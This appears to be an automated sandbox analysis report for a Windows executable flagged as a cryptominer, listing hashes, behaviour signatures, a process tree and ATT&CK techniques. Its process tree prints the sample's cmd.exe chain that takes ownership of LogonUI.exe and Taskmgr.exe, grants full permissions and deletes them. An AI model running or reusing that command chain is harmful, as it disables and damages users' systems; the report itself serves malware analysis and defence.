Overview

overview

10

Static

static

ec07652e3f...55.exe

windows7_x64

10

ec07652e3f...55.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    112s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    24-12-2020 04:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe

  • Size

    135KB

  • MD5

    4777ca8e3e3ded9a9598c942043a3b30

  • SHA1

    955de87f9bd9382141b9ffbf9c3e84731cc5d132

  • SHA256

    ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55

  • SHA512

    c271a58918de797e11a9b6f5e97a7cfcfc1fd8913236c8f864ea96fb229321f59b3f8119a0803ecb0394d6709c434475f63a5cc4dbfba79d24d4efad2881ccfd

Score
10/10
xmrigdiscoveryevasionexploitminerpersistence

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Disables RegEdit via registry modification
    evasion
  • Disables Task Manager via registry modification
    evasion
  • Possible privilege escalation attempt 4 IoCs
    exploit
  • Modifies file permissions 1 TTPs 4 IoCs
    discovery
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1317 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe
    "C:\Users\Admin\AppData\Local\Temp\ec07652e3f04caad91b4438c8cb31d52c840106d3da2033f27e5ef16d7f6cc55.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Drops desktop.ini file(s)
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:640
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k color 47 && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && copy C:\Windows\System32\LogonUI.exe %temp%\LogonUI.exe && del C:\Windows\System32\LogonUI.exe && takeown /f C:\Windows\System32\Taskmgr.exe && icacls C:\Windows\System32\Taskmgr.exe /grant %username%:F && del C:\Windows\System32\Taskmgr.exe && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\LogonUI.exe
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2708
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\LogonUI.exe /grant Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2792
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\Taskmgr.exe
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3716
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\Taskmgr.exe /grant Admin:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:424

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Winlogon Helper DLL

1
T1004

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

File Permissions Modification

1
T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/424-9-0x0000000000000000-mapping.dmp
    Download
  • memory/640-2-0x00007FF99FC70000-0x00007FF9A065C000-memory.dmp
    Filesize

    9.9MB

    Download
  • memory/640-3-0x0000000000DC0000-0x0000000000DC1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2128-5-0x0000000000000000-mapping.dmp
    Download
  • memory/2708-6-0x0000000000000000-mapping.dmp
    Download
  • memory/2792-7-0x0000000000000000-mapping.dmp
    Download
  • memory/3716-8-0x0000000000000000-mapping.dmp
    Download